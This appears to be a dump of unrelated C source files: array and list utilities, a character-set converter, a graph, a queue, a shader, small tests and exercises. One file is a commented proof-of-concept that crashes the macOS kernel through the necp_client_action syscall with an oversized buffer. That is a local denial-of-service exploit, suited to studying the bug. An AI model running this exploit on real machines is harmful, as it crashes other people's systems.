#include "../include/arrayInt.h" void printArray(array_int * a){ if(a){ printf("INITIAL CAPACITY: %d\nCAPACITY: %d\nSIZE: %d\n",a->i_cap,a->capacity,a->size); int i; printf("DADOS DO ARRAY\n"); printf("----------------\n"); for(i = 0; i < a->size; i++){ printf("V[%d] = %d\n",i,a->data[i]); } printf("----------------\n"); }else{ printf("VETOR NULO\n"); } } array_int * array_create(unsigned int initial_capacity){ //Aloca o struct do vetor dinâmico. array_int * v = (array_int*)malloc(sizeof(array_int)); //Verifica se o struct foi alocado dinâmicamente. if (!v){ printf("Memória insuficiente para alocar vetor dinâmico!\n"); return 0; } //Aloca o espaço para os dados(elementos) do vetor dinâmico com capacidade inicial igual ao paramêtro passado. v->data = (int*) malloc(initial_capacity*sizeof(int)); //Verifica se os espaço inicial destinado aos elementos do vetor foi alocado. if (!v->data){ printf("Memória insuficiente para alocar os dados do vetor dinâmico!\n"); return 0; } //Inicializa os demais atributos do vetor dinâmico. v->size = 0; v->capacity = initial_capacity; v->i_cap = initial_capacity; return v; } int array_get(array_int * TIPO, int index){ //Verifica se índice é valido, entre 0 e tamanho-1 do vetor. if(index < 0 || index >= TIPO->size){ return -1; } return TIPO->data[index]; } unsigned int array_push_back(array_int * TIPO, int i){ //Se o vetor estiver cheio, a capacidade deve ser aumentada if(TIPO->size == TIPO->capacity){ int * new_data; if(TIPO->i_cap == 2){ new_data = (int *)realloc(TIPO->data,TIPO->capacity<<1); TIPO->capacity = TIPO->capacity<<1; }else if(TIPO->i_cap == 10000){ new_data = (int *)realloc(TIPO->data,TIPO->capacity+10000); TIPO->capacity = TIPO->capacity+10000; }else{ new_data = (int *)realloc(TIPO->data,TIPO->capacity+10); TIPO->capacity = TIPO->capacity+10; } if(!new_data){ printf("Memória insuficiente para adicionar o elemento '%d' no vetor dinâmico.\n",i); return TIPO->size; } } TIPO->data[TIPO->size++] = i; return TIPO->size; } unsigned int array_pop_back(array_int * TIPO){ if(TIPO->size <= 0){ return 0; } int * new_data = (int*)malloc(TIPO->capacity*sizeof(int)); //Copia os elementos do vetor que são anteriores ao último índice para outro vetor; int i; for(i=0;i < TIPO->size-1;i++){ new_data[i] = TIPO->data[i]; } //Libera memória dos elementos originais, isto é, apaga todos. free(TIPO->data); TIPO->data = new_data; //Diminui o tamanho do vetor e o retorna em sequência return --TIPO->size; } int array_find(array_int * TIPO, int element){ //Se a lista está vazia, retorne -1 if(TIPO->size <= 0){ return -1; } int i; for(int i = 0; i < TIPO->size;i++){ if(TIPO->data[i] == element){ return i; //Retorna o menor índice, onde encontra o elemento no array } } //Não encontrou o elemento no array, retorna -1 return -1; } int array_insert_at(array_int * TIPO, int index, int value){ //Indice inválido if(index < 0 || index >= TIPO->size){ return -1; } //Se o índice for válido, insere o valor no vetor TIPO->data[index] = value; return index; //retorna índice do elemento inserido } int array_remove_from(array_int * TIPO, int index){ //Verifica se o índice é inválido if(index < 0 || index >= TIPO->size){ return TIPO->size; } //Indice válido, desloca elementos a direita de index para a esquerda, //substituindo o valor de index pelo próximo int i; for(i = index+1;i < TIPO->size;i++){ TIPO->data[i-1] = TIPO->data[i]; } TIPO->size--; //Reduz tamanho do vetor em 1 TIPO->data[TIPO->size] = -1; //Inutitiliza valor do último elemento return TIPO->size; //Returna o novo tamanho } unsigned int array_size(array_int * TIPO){ //Retorna tamanho return TIPO->size; } unsigned int array_capacity(array_int * TIPO){ //Retorna capacidade return TIPO->capacity; } double array_percent_occuped(array_int * TIPO){ //Retorna percentual ocupado do array, seu tamanho/capacidade entre 0 a 1 return (1.0*TIPO->size) / TIPO->capacity; } //TIPO tem o endereço do vetor //end pointer recebe o endereco de TIPO void array_destroy(array_int * TIPO){ array_int ** old = &(TIPO); TIPO = 0; free (*old); }
C
/* * jis2sj.c -- JIS to SHIFT-JIS converter * Copyright(c) Jiro Kamina 1997. All rights reserved. * $Header: jis2sj.cv 1.1 98/09/22 12:04:08 Exp $ */ unsigned short jis2sj(unsigned short us) { unsigned short jh, jl; jh = (us >> 8) & 0xff; jl = (us & 0xff) + 0x1f; if (!(jh & 0x01)) { jl += 0x7f - 0x21; } if (jl >= 0x7f) { jl++; } return (((((jh - 0x21) / 2) + 0xa1) ^ 0x20) << 8) + jl; }
C
#include <stdio.h> int main() { int a , b , addition , substraction , multiplication; float div ; printf("ENTER TWO NUMBERS"); scanf("%d %d",&a ,&b); addition = a+b; substraction = a-b; multiplication = a*b; div=a/b; printf("\nsum = %d",addition); printf("\ndiffrence = %d", substraction); printf("\nproduct = %d",multiplication); printf("\nqutient = %f", div); return 0 ; }
C
//// //// Created by shuncs on 19-2-28. //// // //#include <stdio.h> //#include <stdlib.h> //#include <string.h> // //int main(void) //{ // //strlen用来获取字符串长度 // //strlen返回的是无符号的整形 // //返回的长度不包括'\0' // char *p = "zhushuai"; // size_t len = strlen(p); // printf("%lu\n", len); // // //int strcmp(const char *str1, const char *str2); // //int strncmp(const char *str1, const char *str2, size_t size); --- 比较前size个字符 // printf("%d\n", strcmp("abcf", "abce")); // // //char *strcat(char *strDestation, const char *strSource); // //参数一是目的字符数组 // //参数二可以是常量字符串,也可以是字符数组 // char str[20] = "abc"; // printf("%s\n", str); // strcat(str, "defg"); // printf("%s\n", str); // // //int atoi(const char *str); // //第一个字符必须是数字字符,否则直接返回0 // int a = atoi("12345"); // printf("%d\n", a); // //char *itoa(int value, char *str, int radix); // //第一个参数字符是数字值 // //第一个参数是字符存放的地址 // //第三个参数是进制类型 // // char nstr[20]; // sprintf(nstr, "%d,%c,%f", 12, 'v', 12.3f); // printf("%s\n", nstr); // //out:12,v,12.300000 // // return 0; //}
C
#version 420 // use glEnableVertexAttribArray(0) and glVertexAttribPointer(0, ...) to define this input data layout(location = 0) in vec4 in_position; // we don't need a color input anymore, as the color is derived from the in_position.w component out vec4 color; // We use a uniform buffer object to store things that multiple shaders need. // This also means that no uniform can be inactive, because the compiler can't // know whether other shaders actually use the uniform. layout(std140) uniform GlobalValues { // By using modelToWorld and worldToCamera, we'd lose precision // (http://www.arcsynthesis.org/gltut/Positioning/Tut07%20The%20Perils%20of%20World%20Space.html) // So, we use a modelToCamera matrix instead, skipping two chances of precision loss. mat4 matrixModelToCamera; mat4 matrixCameraToClip; }; void main() { // when a particle has collided, change its color! if(in_position.w > 1.05) color = vec4(1.0, 0.0, 0.0, 1.0); else color = vec4(0.5, 0.5, 0.5, 0.5); gl_Position = vec4(in_position.x, in_position.y, in_position.z, 1.0); }
C
#include "unp.h" #include "myerror.h" /** * write n bytes to file fd * if fail return -1, otherwise always return n */ int writen(int fd, char* buf, int n){ int left = n; int written = 0; char* ptr = buf; while(left > 0){ if((written = write(fd, ptr, left)) != left){ if(written == -1 && errno != EINTR) { errMsg("writen"); return -1; } else if(written== -1 && errno == EINTR) continue; else if(written >= 0){ printf("%d written\n", written); left -= written; ptr += written; if(left == 0) break; } } else break; } return n; } /** * read n from file fd * return -1 if failed * otherwise return number of byte read */ int readn(int fd, char* buf, int n){ char* ptr = buf; int left = n; int num; while(left > 0){ if((num = read(fd, buf, left)) < 0) { if(errno == EINTR) continue; else{ errMsg("readn"); return -1; } } else if(num > 0){ ptr += num; left -= num; } else return n - left; } }
C
/* * LibLista.h: Libreria de utilidades basicas para uso de listas */ struct NodoListaSimple { char * val; struct NodoListaSimple * sig; }; struct NodoListaConCant { char * val; int apariciones; struct NodoListaConCant * sig; }; struct NodoListaInts { int val; struct NodoListaInts * sig; }; struct NodoListaFloats { float val; struct NodoListaFloats * sig; }; void agregarAListaSimple(char * valor, struct NodoListaSimple ** lista) { struct NodoListaSimple * inspector = lista; while ( inspector != NULL ) { if ( inspector->val == valor ) { return; // Hubo match, sale de la funcion } inspector = inspector->sig; } // A este punto ya se sabe que el item no existe en la lista struct NodoListaSimple * nuevoNodo = NULL; nuevoNodo = (struct NodoListaSimple *) malloc(sizeof(struct NodoListaSimple)); nuevoNodo->val = valor; nuevoNodo->sig = lista; } void agregarAListaConCant(char * valor, struct NodoListaConCant ** lista) { struct NodoListaConCant *inspector = lista; while ( inspector != NULL ) { if ( inspector->val == valor ) { inspector->apariciones++; return; // Hubo match, sale de la función } inspector = inspector->sig; } // A este punto ya se sabe que el item no existe en la lista struct NodoListaConCant * nuevoNodo = NULL; nuevoNodo = (struct NodoListaConCant *) malloc(sizeof(struct NodoListaConCant)); nuevoNodo->val = valor; nuevoNodo->apariciones = 1; nuevoNodo->sig = lista; lista = nuevoNodo; } void agregarAListaInts(int valor, struct NodoListaInts ** lista) { struct NodoListaInts * inspector = lista; while ( inspector != NULL ) { if ( inspector->val == valor ) { return; // Hubo match, sale de la funcion } inspector = inspector->sig; } // A este punto ya se sabe que el item no existe en la lista struct NodoListaInts * nuevoNodo = NULL; nuevoNodo = (struct NodoListaInts *) malloc(sizeof(struct NodoListaSimple)); nuevoNodo->val = valor; nuevoNodo->sig = lista; } void agregarAListaFloats(float valor, struct NodoListaFloats ** lista) { struct NodoListaFloats * inspector = lista; while ( inspector != NULL ) { if ( inspector->val == valor ) { return; // Hubo match, sale de la funcion } inspector = inspector->sig; } // A este punto ya se sabe que el item no existe en la lista struct NodoListaFloats * nuevoNodo = NULL; nuevoNodo = (struct NodoListaFloats *) malloc(sizeof(struct NodoListaSimple)); nuevoNodo->val = valor; nuevoNodo->sig = lista; } int sumaListaInts(struct NodoListaInts ** lista) { struct NodoListaInts * inspector = *lista; int acumulador = 0; while ( inspector != NULL ) { acumulador += inspector->val; inspector = inspector->sig; } return acumulador; } void imprimirLista(struct NodoListaConCant ** lista) { /* Funcion para debugging */ struct NodoListaConCant * inspector = lista; if ( inspector == NULL ) { printf("La lista esta vacia\n"); return; } while ( inspector != NULL ) { printf("%s: %d\n", inspector->val, inspector->apariciones); inspector = inspector->sig; } } /* Ejemplo de uso int main() { struct NodoLista * unaLista = NULL; agregarALista(1, &unaLista); agregarALista(2, &unaLista); agregarALista(1, &unaLista); imprimirLista(&unaLista); return 0; } */
C
#ifndef __BITSET_H__ #define __BITSET_H__ #ifndef _UV #define _UV(x) (1 << (x)) #endif #ifndef _SETBIT #define _SETBIT(x, y) ((x) |= _UV(y)) #endif #ifndef _CLRBIT #define _CLRBIT(x, y) ((x) &= ~_UV(y)) #endif #ifndef _GETBITS #define _GETBITS(c, start, len) (((c >> start << (8-len)) & 0xFF) >> (8-len)) #endif #ifndef _GETBIT #define _GETBIT(c, n) _GETBITS(c, n, 1) #endif #endif
C
#include <stdio.h> #include <stdlib.h> typedef struct node* NodePointer; typedef struct node { int vertex; int weight; NodePointer next; } Node; typedef struct graph* GraphPointer; typedef struct graph { int numV; NodePointer* adjLists; } Graph; NodePointer createNode(int v, int w) { NodePointer newNode = (NodePointer)malloc(sizeof(Node)); newNode->vertex = v; newNode->weight = w; newNode->next = NULL; return newNode; } GraphPointer createGraph(int v) { int i; GraphPointer graph = (GraphPointer)malloc(sizeof(Graph)); graph->numV = v; graph->adjLists = (NodePointer *)malloc(sizeof(NodePointer) * v); for (i = 0; i < v; i++) graph->adjLists[i] = NULL; return graph; } void addEdge(GraphPointer graph, int f, int t, int w) { NodePointer newNode = createNode(t, w); newNode->next = graph->adjLists[f]; graph->adjLists[f] = newNode; } void printgraph(GraphPointer graph) { int v; for (v = 1; v < graph->numV; v++) { NodePointer temp = graph->adjLists[v]; while (temp) { printf("(%d %d) ", temp->vertex, temp->weight); temp = temp->next; } printf("\n"); } } int main() { // n : / m : ġ int n, m, i; // f : from / t : to / w : weight int f, t, w; FILE *fp; fp = fopen("input.txt", "r"); fscanf(fp, "%d %d", &n, &m); GraphPointer graph = createGraph(n); for (i = 0; i < m; i++) { fscanf(fp, "%d %d %d", &f, &t, &w); addEdge(graph, f, t, w); } printgraph(graph); return 0; }
C
#define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> #include<stdlib.h> int main() { int n = 1; while (1) { if (n % 2 == 1 && n % 3 == 2 && n % 5 == 4 && n % 6 == 5 && n % 7 == 0) { break; } ++n; } printf("%d", n); system("pause"); return 0; }
C
/* Fila - Header @author: Samuel James https://github.com/SAMXPS Universidade de Brasília, UnB */ #ifndef QUEUE_H #define QUEUE_H #include <stdbool.h> typedef struct element_t { void* data; struct element_t* next; } element_t; typedef struct queue_t { unsigned int size; unsigned int data_size; element_t* head; element_t* tail; } queue_t; element_t* createElement(void* data_loc, unsigned int data_size); queue_t* createQueue(unsigned int data_size); bool push(queue_t* queue, void* data_loc, unsigned int data_size); bool pop(queue_t* queue, void** p_data_loc); bool isEmpty(queue_t* queue); bool removeAll(queue_t* queue); void* head(queue_t* queue); #endif /*QUEUE_H*/
C
/****************************************************************************** * Q3. Write a c program to swap two number using call by reference concept. * * Chandrashekhar Tripathi Roll no: ECE/20/28 * ******************************************************************************/ #include <stdio.h> // Function prototype void swap(int *a, int *b); int main(void) { int num1, num2; // Getting numbers from user printf("Enter the number 'num1': "); scanf("%i", &num1); printf("Enter the number 'num2': "); scanf("%i", &num2); // Printing numbers before swap printf("Before swap:\nnum1: %i\tnum2: %i\n", num1, num2); // Calling swap function for swapping these numbers swap(&num1, &num2); // Printing numbers after swap printf("Before swap:\nnum1: %i\tnum2: %i\n", num1, num2); return 0; } void swap(int *a, int *b) { int temp; temp = *a; *a = *b; *b = temp; return; }
C
// program to explain pointer arthemetic #include<stdio.h> main() { int i=10, *ip; char ch='c', *cp; printf("Size of integer is %ld bytes!\n", sizeof(int)); printf("Size of integer pointer is %ld bytes!\n", sizeof(ip)); printf("Size of char is %ld bytes!\n", sizeof(char)); printf("Size of char pointer is %ld bytes!\n", sizeof(cp)); /* printf("Address of pointer p+1 is : %p\n", p+1); printf("value of Pointer p+1 is : %d\n", *(p+1)); */ }
C
/* * Implements the arraylist.h file */ #include "stdlib.h" #include "arraylist.h" /* * Increases the size of the array * Returns 0 on success, -1 on invalid arguments * and -2 on failure */ int arraylist_IncreaseSize(arraylist_t* arraylist); /************************************************** PUBLIC METHODS ***********************************************/ /* * Initializes a new array list and returns a pointer to it * Returns a null pointer on failure */ arraylist_t* arraylist_InitArraylist() { arraylist_t* arraylist = (arraylist_t*)malloc(sizeof(arraylist_t)); if(arraylist == 0) return 0; //Out of memory arraylist->size = ARRAYLIST_INITIALSIZE; arraylist->numCells = 0; arraylist->array = (cell_t*)malloc(sizeof(cell_t) * arraylist->size); return arraylist; } /* * Destroys the given arraylist, excluding the pointer to it * Returns 0 on success and -1 on invalid argument */ int arraylist_DestoryArraylist(arraylist_t* arraylist) { if(arraylist == 0) return -1; free(arraylist->array); return 0; } /* * Adds the cell to the arraylist at the given position * Returns 0 on success, -1 on invalid arguments, and * -2 on failure */ int arraylist_Add(cell_t cell, int index, arraylist_t* arraylist) { if(arraylist == 0) return -1; //Check if null pointer if(index < 0 || index > arraylist->numCells) return -1; //Note: cell is local so it cannot be null if(arraylist->numCells == arraylist->size) { //The array is full if(arraylist_IncreaseSize(arraylist) < 0) { //IncreaseSize failed return -2; } } int i; for(i = arraylist->numCells; i >= index; i--) { arraylist->array[i+1] = arraylist->array[i]; } arraylist->array[index] = cell; arraylist->numCells++; return 0; } /* * Fills the cell pointer with the cell at the index in the arraylist * Returns 0 on success and -1 on invalid arguments */ int arraylist_Get(int index, arraylist_t* arraylist, cell_t* cell) { if(arraylist == 0 || cell == 0) return -1; //Check if null pointers if(index < 0 || index >= arraylist->numCells) return -1; *cell = arraylist->array[index]; return 0; } /* * Checks if the arraylist contains the given cell * Returns 1 if it does, 0 if it doesn't, and -1 on * invalid arguments */ int arraylist_Contains(cell_t cell, arraylist_t* arraylist) { if(arraylist == 0) return -1; int i; for(i = 0; i < arraylist->numCells; i++) { if(arraylist->array[i] == cell) return 1; } return 0; } /* * Removes the cell at the given position from the arraylist and puts it in the cell pointer * Returns 0 on success and -1 on invalid arguments */ int arraylist_Remove(int index, arraylist_t* arraylist, cell_t* cell) { if(arraylist == 0) return -1; //Check if null pointers if(index < 0 || index >= arraylist->numCells) return -1; if(cell != 0) *cell = arraylist->array[index]; //Copy the element to be deleted int i; for(i = index; i < arraylist->numCells - 1; i++) { arraylist->array[i] = arraylist->array[i+1]; } arraylist->numCells--; return 0; } /* * Removes all copies of the given cell from the arraylist * If the cell is not in the arraylist, does nothing * Returns 0 on success and -1 on invalid arguments */ int arraylist_RemoveCell(cell_t cell, arraylist_t* arraylist) { if(arraylist == 0) return -1; int i; for(i = 0; i < arraylist->numCells; i++) { if(arraylist->array[i] == cell) { arraylist_Remove(i--, arraylist, 0); //Remove the matching element and back up a step } } return 0; } /* * Prints the arraylist to the console in a readable form * Returns 0 on success and -1 on invalid arguments */ int arraylist_Print(arraylist_t* arraylist) { if(arraylist == 0) return -1; printf("["); int i; for(i = 0; i < arraylist->numCells; i++) { printf(i==0 ? "%d" : ",%d", arraylist->array[i]); } printf("]"); return 0; } /*************************************** PRIVATE METHODS ***************************************************/ int arraylist_IncreaseSize(arraylist_t* arraylist) { if(arraylist == 0) return -1; cell_t* newArray = (cell_t*)malloc(arraylist->size * 2 * sizeof(cell_t)); if(newArray == 0) return -2; int i; for(i = 0; i < arraylist->numCells; i++) { newArray[i] = arraylist->array[i]; } free(arraylist->array); arraylist->array = newArray; arraylist->size *= 2; return 0; }
C
/** * \file collection_ctrl.c * \brief Control the data collection schemes of the nodes * \author Romain KUNTZ * \date 2009 **/ #include <stdio.h> #include <include/modelutils.h> #include "../application/dynamic.h" /* ************************************************** */ /* ************************************************** */ model_t model = { "collection control module", "Romain Kuntz", "0.1", MODELTYPE_ENVIRONMENT, {NULL, 0} }; /* ************************************************** */ /* ************************************************** */ struct _env_data { /* List of events */ void *events; }; /* An event is defined by the time at which it happens, * the node id where it happens, the type of the event, * and the value of the event */ struct _collec_event { uint64_t time; nodeid_t node_id; int event_type; int event_value; }; /* ************************************************** */ /* ************************************************** */ int event_callback(call_t *c, void *data); /* ************************************************** */ /* ************************************************** */ // Debug macro #ifdef LOG_ENVIRONMENT #define DBG(arg...) \ do { \ fprintf(stderr, "%s: ", __FUNCTION__); \ fprintf(stderr, arg); \ } while (0) #else #define DBG(...) #endif /* LOG_ENVIRONMENT */ /* ************************************************** */ /* ************************************************** */ int event_compare(void *key0, void *key1) { uint64_t *time0 = (uint64_t *) key0; uint64_t *time1 = (uint64_t *) key1; if (key0 == NULL) return 1; if (*time0 < *time1) return 1; if (*time0 > *time1) return -1; return 0; } /* ************************************************** */ /* ************************************************** */ int init(call_t *c, void *params) { struct _env_data *entitydata = malloc(sizeof(struct _env_data)); char *filepath = "collection_ctrl.data"; int line; struct _collec_event *event; param_t *param; char str[128]; char event_str[30]; FILE *file; /* We use a sorted list for the events (sorted by time) */ entitydata->events = sodas_create(event_compare); /* Get parameters from the configuration file */ das_init_traverse(params); while ((param = (param_t *) das_traverse(params)) != NULL) { if (!strcmp(param->key, "file")) { filepath = param->value; } } /* Open the data collection scheme file */ if ((file = fopen(filepath, "r")) == NULL) { DBG("ERROR: cannot open file %s in init()\n", filepath); goto error; } /* Save the events in a data structure */ /* Structure of the file is: * <time> <node id> <event type> <value> */ fseek(file, 0L, SEEK_SET); line = 1; while (fgets(str, 128, file) != NULL) { event = malloc(sizeof(struct _collec_event)); memset(event_str, 0, sizeof(event_str)); if (event == NULL) { DBG("ERROR: malloc failed\n"); goto error; } if (str[0] == '#' || str[0] == '\n') { /* Line is a comment or an empty line */ line++; continue; } if (sscanf(str, "%"PRId64" %d %s %d\n", &event->time, &event->node_id, event_str, &event->event_value) != 4) { DBG("ERROR: cannot read event in file %s, line %d\n", filepath, line); free(event); goto error; } if (!strncmp(event_str, "APP_TIME_DRV", sizeof(event_str))) { event->event_type = APP_TIME_DRV; } else if (!strncmp(event_str, "APP_EVENT_DRV", sizeof(event_str))) { event->event_type = APP_EVENT_DRV; } else if (!strncmp(event_str, "APP_QUERY_DRV", sizeof(event_str))) { event->event_type = APP_QUERY_DRV; } else if (!strncmp(event_str, "APP_PAYLOAD_SIZE", sizeof(event_str))) { event->event_type = APP_PAYLOAD_SIZE; } else if (!strncmp(event_str, "ENV_EVENT", sizeof(event_str))) { event->event_type = ENV_EVENT; } else if (!strncmp(event_str, "QUERY_MSG", sizeof(event_str))) { event->event_type = QUERY_MSG; } else if (!strncmp(event_str, "CHANGE_APP_DST", sizeof(event_str))) { event->event_type = CHANGE_APP_DST; } else { DBG("ERROR: event type %s unknown in file %s, line %d\n", event_str, filepath, line); free(event); goto error; } //DBG("EVENT: %"PRId64" %d %d %d\n", // event->time, event->node_id, // event->event_type, event->event_value); if (event->node_id >= get_node_count()) { DBG("ERROR: node id %d (line %d) does not exist, " "skipping this event \n", event->node_id, line); free(event); } else { /* Insert the event in the sorted data structure */ sodas_insert(entitydata->events, &event->time, event); } line++; } /* Close the opened file */ fclose(file); set_entity_private_data(c, entitydata); return 0; error: free(entitydata); return -1; } int destroy(call_t *c) { struct _env_data *entitydata = get_entity_private_data(c); struct _collec_event *event; /* Free the pending events */ while ((event = (struct _collec_event *) sodas_pop(entitydata->events)) != NULL) { free(event); } /* Free the event list */ sodas_destroy(entitydata->events); free(entitydata); return 0; } /* ************************************************** */ /* ************************************************** */ int bootstrap(call_t *c) { struct _env_data *entitydata = get_entity_private_data(c); struct _collec_event *event = NULL; /* Get the first event */ event = (struct _collec_event *) sodas_pop(entitydata->events); if (event == NULL) { DBG("ERROR: no events in queue\n"); return 0; } /* Schedule the first event */ scheduler_add_callback(event->time, c, event_callback, event); return 0; } /* ************************************************** */ /* ************************************************** */ int event_callback(call_t *c, void *data) { struct _env_data *entitydata = get_entity_private_data(c); struct _collec_event *event = (struct _collec_event *) data; call_t c0; array_t *app_layer = NULL; int type, value; /* Execute the event using an IOCTL */ type = event->event_type; value = event->event_value; c0.node = event->node_id; app_layer = get_application_entities(&c0); c0.entity = app_layer->elts[0]; IOCTL(&c0, type, &value, 0); DBG("Time %"PRId64", IOCTL for node %d, type %d, value %d\n", event->time, event->node_id, type, value); /* Delete the event */ free(event); /* Schedule the next event */ event = (struct _collec_event *) sodas_pop(entitydata->events); if (event == NULL) { DBG("No more events in queue\n"); return 0; } scheduler_add_callback(event->time, c, event_callback, event); return 0; } /* ************************************************** */ /* ************************************************** */ int ioctl(call_t *c, int option, void *in, void **out) { return 0; } /* ************************************************** */ /* ************************************************** */ void read_measure(call_t *c, measureid_t measure, double *value) { /* The read_measure() function is not used in this model */ return; } /* ************************************************** */ environment_methods_t methods = {read_measure};
C
#include <stdio.h> #include <stdlib.h> #include <time.h> #include "board.h" #include "error_codes.h" #include "cli_parser.h" #include "game.h" #include "file_parser.h" #include "board_entities.h" void get_movable_amazons(Game *game, Field *amazon_fields[], Position amazon_positions[], int *num_found_amazons) { int our_id = get_our_id(game); for (int row = 1; row <= game->board.height; row++) { for (int column = 1; column <= game->board.width; column++) { Position p = { .x = column, .y = row }; Field *f = get_field(game->board, p); int can_move = 0; if (f->player_id == our_id) { for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { Position r = { .x = column-1+j, .y = row-1+i }; Field *test = get_field(game->board, r); if (test == NULL) continue; if (test->player_id == 0) { can_move = 1; amazon_positions[*num_found_amazons] = p; } } } } if (can_move == 1) { amazon_fields[*num_found_amazons] = f; *num_found_amazons += 1; } } } } int main(int argc, char *argv[]) { srand(time(NULL)); Game game = create_game(argc, argv); if (game.phase == PLACEMENT) { if (count_our_amazons(&game) >= game.amazons) { printf("Can't place more amazons, limit exceeded \n"); exit(MOVE_IMPOSSIBLE); } place_amazon_randomly(&game); } if (game.phase == MOVEMENT) { int our_id = get_our_id(&game); Field *amazon_fields[20]; Position amazon_positions[20]; int num_found_amazons = 0; get_movable_amazons(&game, amazon_fields, amazon_positions, &num_found_amazons); if (num_found_amazons < 1) { printf("Cant move any amazon.\n"); exit(MOVE_IMPOSSIBLE); } printf("Found our movable amazons: \n"); for (int i = 0; i < num_found_amazons; i++) { printf("Position x:%d, y:%d \n", amazon_positions[i].x, amazon_positions[i].y); } int index = rand() % num_found_amazons; // randomly choose amazon to move Position old_position = amazon_positions[index]; Field *old_field = get_field(game.board, old_position); do { Position new_position; Field *new_field; int moved = 0; int counter = 0; while (!moved) { int x_dir = (rand() % 3) - 1; int y_dir = (rand() % 3) - 1; Position r = { .x = amazon_positions[index].x+x_dir, .y = amazon_positions[index].y+y_dir }; Field *test = get_field(game.board, r); if (test == NULL) continue; if (test->player_id == 0) { old_field->player_id = 0; new_position.x = r.x; new_position.y = r.y; new_field = get_field(game.board, new_position); new_field->player_id = our_id; game.players[our_id-1].points += new_field->value; new_field->value = 0; moved = 1; } counter++; if (counter > 10) { break; } } if(new_field->artifact == NONE || new_field->artifact == SPEAR) { old_field->player_id = 9; break; } if (new_field->artifact == BROKEN_ARROW) { new_field->artifact = 0; break; // just do nothing } if (new_field->artifact == HORSE) { Field *nas_ne_dogonyat; do{ old_field->player_id = 9; int can_move = 0; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { Position r = { .x = new_position.x-1+j, .y = new_position.y-1+i }; Field *test = get_field(game.board, r); if (test == NULL) continue; if (test->player_id == 0) { can_move = 1; old_field = new_field; old_position = new_position; new_position = r; break; } } if(can_move){ break; } } old_field->player_id = 9; nas_ne_dogonyat = get_field(game.board, new_position); nas_ne_dogonyat->player_id = our_id; game.players[our_id-1].points += nas_ne_dogonyat->value; nas_ne_dogonyat->value = 0; if(nas_ne_dogonyat->artifact == HORSE){ old_field = nas_ne_dogonyat; } }while(nas_ne_dogonyat->artifact == HORSE); break; } } while (1); } write_game_state(&game); exit(PROGRAM_SUCCESS); }
C
#include <stdio.h> #include <string.h> #include <stdlib.h> int main() { const char token[] = " \n\r\f\t\v"; int count = 0; char buff[101]; while (gets(buff)) { char *word; for (word = strtok(buff, token); word != NULL; word = strtok(NULL, token)) if (strcmp(word, "the") == 0) count++; } return count; }
C
int cnt; int expect(int a, int b) { if (a != b) { printf("Test %d: Failed\n", cnt++); printf(" %d expected, but got %d\n", b, a); exit(1); } else printf("Test %d: Passed\n", cnt++); return 0; } int expect_ptr(int *a, int *b) { if (a != b) { printf("Test %d: Failed\n", cnt++); printf(" %p expected, but got %p\n", b, a); exit(1); } else printf("Test %d: Passed\n", cnt++); return 0; } int return_seven(void) { return 7; } int add_three_args(int x, int y, int z) { return x + y + z; } int *return_ptr(void); void test_func(void) { expect(return_seven(), 7); expect(return_seven() * 2 + 5, 19); expect(add_three_args(1, 2, 3), 6); expect(3 * 6 / 2, 9); expect(add_three_args(1, 2, 3), 6); expect(3 * add_three_args(1, 2, 3), 18); expect(add_three_args(1, 2, 3) / 2, 3); expect(3 * add_three_args(1, 2, 3) / 2, 9); int *p; p = return_ptr(); expect_ptr(p, &cnt); return; } int *return_ptr(void) { return &cnt; } int main(void) { printf("Testing function ...\n"); test_func(); printf("OK!\n"); return 0; }
C
/** * @file * Test if the C function(s) popflo and retflo to put and retrieve floats(s) * in the stack work(s). */ #include <stdio.h> #include "decimal.h" #include "fglsys.h" /** * Get an int value from the stack, and pop it to the stack again. * To be used in aubit 4gl tests. */ pop_ret_float(int n_params) { float float_value; popflo(&float_value); retflo(&float_value); return 1; }
C
//This POC causes a kernel panic in the necp_client_agent_action function. This //function takes a buffer parameter with an unchecked size parameter. If this //size is larger than the maximum allowed size by copyin, the kernel will panic //when it tries to copy in the user's buffer. Alternatively, if _MALLOC fails //to allocate a kernel buffer to copy this user's buffer to, _MALLOC will panic. //Thus, this POC can cause a local denial of service. #include <stdio.h> #include <unistd.h> //Taken from bsd/net/necp.h #define NECP_CLIENT_ACTION_AGENT 7 int main(int argc, char ** argv) { int fd; char client_id[16]; char buffer[1024]; //Use necp_open to get a necp file descriptor fd = syscall(501, 0); //501 = necp_open if(fd < 0) { printf("Couldn't get necp fd\n"); return 1; } //Call necp_client_action with the AGENT action. It passes our buffer_size //without checking to copyin, which panic's the kernel if the size is greater //than 64MB. Prior to the copyin, _MALLOC will be used to create a //heap-allocated buffer to store the user data. If _MALLOC fails, it will //panic rather than returning NULL. syscall(502, fd, NECP_CLIENT_ACTION_AGENT, client_id, 16, buffer, 64 * 1024 * 1024 + 1); //502 = necp_client_action return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strsplit.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: world42 <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2013/11/30 03:43:26 by world42 #+# #+# */ /* Updated: 2014/04/27 03:43:51 by world42 ### ########.fr */ /* */ /* ************************************************************************** */ #include <stdlib.h> #include "libft.h" static int ft_strlen_char(const char *s, char c) { if (*s && *s != c) return (ft_strlen_char(s + 1, c) + 1); return (0); } static int ft_tablen_word(const char *s, char c) { if (!*s) return (1); if (*s != c) return (ft_tablen_word(s + 1, c)); while (*s && *s == c) s++; return (ft_tablen_word(s, c) + 1); } char **ft_strsplit(const char *s, char c) { char **tab; int size; int index; if (!s) return (NULL); size = ft_tablen_word(s, c) + 1; tab = (char**)malloc(sizeof(char*) * size); if (!tab) return (NULL); index = 0; while (*s) { if (*s != c) { size = ft_strlen_char(s, c); tab[index++] = ft_strsub(s, 0, size); s += size; } else ++s; } tab[index] = NULL; return (tab); }
C
#include <stdio.h> int fibr(int n){ if(n<=2){ return 1; } return fibr(n-1)+fibr(n-2); } int fibi(int n){ if(n<=2){ return 1; } int res; int aux1 = 1,aux2 = 1; int i; for(i=3;i<=n;i++){ res = aux1+aux2; aux2 = aux1; aux1 = res; } return res; } int main(void){ printf("Fib iterativo = %d\n",fibi(100)); printf("Fib recursivo = %d\n",fibr(100)); return 0; }
C
